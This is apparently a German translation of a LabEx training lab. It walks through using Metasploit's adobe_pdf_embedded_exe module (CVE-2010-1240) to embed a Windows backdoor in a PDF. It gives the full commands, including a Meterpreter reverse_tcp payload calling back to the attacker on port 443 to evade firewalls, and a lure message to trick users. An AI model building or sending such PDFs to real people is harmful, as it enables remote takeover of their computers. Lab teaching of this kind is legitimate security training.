Einfügen einer Windows-Backdoor in ein Adobe PDF mit Nmap

NmapNmapBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab werden wir untersuchen, wie man die Schwachstelle des eingebetteten Moduls in Adobe PDF nutzt, um eine Windows-Backdoor einzuschleusen. Der Lab-Prozess beinhaltet die Übertragung einer PDF-Datei mit einer Backdoor auf einen Windows-Host. Wenn der Besitzer diese PDF-Datei mit Adobe Reader öffnet, wird das Ziel-Windows-System infiziert.

Die von LabEx bereitgestellte Lab-Umgebung verfügt nicht über eine Windows-Virtual Machine. Daher können wir die Wirksamkeit des Angriffs nicht überprüfen. Der Lab-Prozess wird nur zeigen, wie man das Backdoor-Programm einbettet.

Darüber hinaus müssen Sie in diesem Lab keine Zielmaschine starten. Sie müssen nur die Kali Linux-Umgebung starten. Die erfolgreich erstellte PDF-Datei wird im Verzeichnis /root/ des Kali-Hosts platziert.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/save_output("Save Output to File") nmap/NmapGroup -.-> nmap/firewall_evasion("Firewall Evasion Techniques") subgraph Lab Skills nmap/save_output -.-> lab-416134{{"Einfügen einer Windows-Backdoor in ein Adobe PDF mit Nmap"}} nmap/firewall_evasion -.-> lab-416134{{"Einfügen einer Windows-Backdoor in ein Adobe PDF mit Nmap"}} end

Starten der Metasploit Framework-Konsole

Nun starten Sie die Angriffsmaschine (Kali Linux-Container) und die Zielmaschine (Metasploitable2-Virtual Machine) für das Experiment.

  1. Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie das Metasploitable2-Ziel, indem Sie den folgenden Befehl ausführen:
sudo virsh start Metasploitable2

Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1 - 3 Minuten dauern.

  1. Testen Sie die Konnektivität zur Zielmaschine, indem Sie sie per Ping erreichen:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping zu stoppen.

  1. Starten Sie den Kali Linux-Container und treten Sie in die bash-Umgebung ein, indem Sie folgenden Befehl ausführen:
docker run -ti --network host b5b709a49cd5 bash
  1. Innerhalb des Kali-Containers testen Sie die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping zu stoppen.

Nun laufen sowohl die Angriffsmaschine als auch die Zielmaschine, und Sie können mit der Penetrationstests beginnen.

Hinweis: Wenn Sie versehentlich die aktuelle bash-Umgebung verlassen, wird der Kali-Container automatisch gestoppt. Sie können auf dem Host erneut docker run -ti --network host b5b709a49cd5 bash ausführen, um einen neuen Kali-Container zu starten und in die bash-Umgebung einzutreten, um das Experiment fortzusetzen.

Im Kali Linux-Container geben Sie die folgenden Befehle im Kali Linux-bash-Terminal ein:

service postgresql start
msfdb init
cd ~
msfconsole

Dadurch wird der PostgreSQL-Datenbankdienst gestartet, die Datenbank initialisiert und die Metasploit Framework-Konsole (msfconsole) für weitere Operationen gestartet.

Verwenden des Exploit-Moduls

Im msfconsole führen Sie den folgenden Befehl aus, um das Exploit-Modul zu verwenden:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

Dadurch wird das adobe_pdf_embedded_exe-Exploit-Modul geladen, das es uns ermöglicht, eine ausführbare Payload in eine PDF-Datei einzubetten.

Verwenden Sie den Befehl show options, um die konfigurierbaren Optionen für das Exploit-Modul anzuzeigen:

show options

Dadurch werden die verfügbaren Optionen angezeigt, wie beispielsweise:

  • EXENAME: Der Pfad zur ausführbaren Datei, die in die PDF eingebettet werden soll.
  • FILENAME: Der Name der Ausgabedatei (Standard: evil.pdf).
  • INFILENAME: Der vollständige Pfad zur Eingabe-PDF-Datei (Standard: eine integrierte PDF-Datei).
  • LAUNCH_MESSAGE: Die Meldung, die den Benutzer dazu bringen soll, die eingebettete ausführbare Datei auszuführen.

Sie können die meisten Optionen auf ihren Standardwerten lassen, aber Sie möchten möglicherweise die Option INFILENAME festlegen, um den Pfad zur Eingabe-PDF-Datei anzugeben, die Sie infizieren möchten.

Nachdem Sie die Optionen konfiguriert haben, verwenden Sie den Befehl exploit, um den Angriff auszuführen:

exploit

Dadurch wird die Payload in die angegebene Eingabe-PDF-Datei eingebettet und eine neue PDF-Datei mit der eingebetteten ausführbaren Datei generiert.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung

Überprüfen der Ausgabe

Nachdem Sie den Exploit ausgeführt haben, befindet sich die generierte PDF-Datei mit der bösartigen Payload unter /root/.msf4/local/evil.pdf. Sie können die msfconsole beenden und die Datei überprüfen:

ls -l /root/.msf4/local/evil.pdf

Sie sollten eine Zunahme der Dateigröße bemerken, was auf das Vorhandensein der eingebetteten ausführbaren Datei hinweist. Wenn die PDF-Datei geöffnet wird, wird die konfigurierte Startnachricht angezeigt, die den Benutzer auffordert, auf die eingebettete Datei zu klicken und sie auszuführen.

Festlegen einer benutzerdefinierten Payload

Um die infizierte PDF-Datei noch wertvoller zu machen, können wir eine benutzerdefinierte Payload für sie festlegen.

Gehen Sie erneut in die msfconsole ein:

cd ~
msfconsole

In der msfconsole folgen Sie den vorherigen Schritten, um das Angriffsmodul auszuwählen:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

Diesmal verwenden wir die windows/meterpreter/reverse_tcp-Payload. Dies ist eine Meterpreter-Backdoor, die eine TCP-Verbindung vom kompromittierten Host zurück zur Angriffsmaschine herstellt und so einen direkten Zugang zum kompromittierten System ermöglicht. Wenn gewünscht, können Sie den Befehl show payloads verwenden, um andere Payloads anzuzeigen und auszuwählen.

Legen Sie die windows/meterpreter/reverse_tcp-Payload fest:

set payload windows/meterpreter/reverse_tcp

Konfigurieren Sie die Payload, indem Sie die IP-Adresse und den Port Ihres Kali-Hosts angeben, um die eingehende Verbindung zu empfangen. Stellen Sie sicher, dass der Zielhost eine Verbindung zu Ihrem Kali-Host herstellen kann:

set lhost 192.168.122.1

Die Verwendung des Ports 443 kann helfen, einige Firewalls zu umgehen:

set lport 443

Verwenden Sie dann den Befehl exploit, um die bösartige PDF-Datei zu generieren:

exploit

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung

Die Ausgabe erneut überprüfen

Überprüfen Sie die Größe der generierten PDF-Datei:

ls -l /root/.msf4/local/evil.pdf

Sie sollten bemerken, dass die Dateigröße kleiner ist als bei der Standard-Payload, da die windows/meterpreter/reverse_tcp-Payload kompakter ist.

Zusammenfassung

In diesem Lab haben wir gelernt, wie man die Adobe Reader-Schwachstelle (CVE-2010-1240) ausnutzen kann, die die Prüfung von eingebetteten Inhalten in PDF-Dateien nicht durchführt. Indem wir ein Backdoor-Programm in eine PDF-Datei einbetten und den Benutzer dazu bringen, es auszuführen, können wir Zugang zum Ziel-Windows-Host erhalten. Die in diesem Lab behandelten Schlüsselpunkte umfassen:

  • Grundlegende Linux-Befehle
  • Operationen in der Metasploit-Framework-Konsole
  • Einführung in die Adobe PDF Embedded EXE-Schwachstelle (CVE-2010-1240)
  • Wie man die Schwachstelle ausnutzt und ein Backdoor-Programm einbettet

Das Lab bot praktische Erfahrungen bei der Erstellung bösartiger PDF-Dateien mit eingebetteten Payloads, der Konfiguration verschiedener Optionen und dem Verständnis der Auswirkungen unterschiedlicher Payloads auf die Dateigröße. Dieses Wissen kann nützlich sein, um solche Angriffe in realen Szenarien zu verstehen und abzuwehren.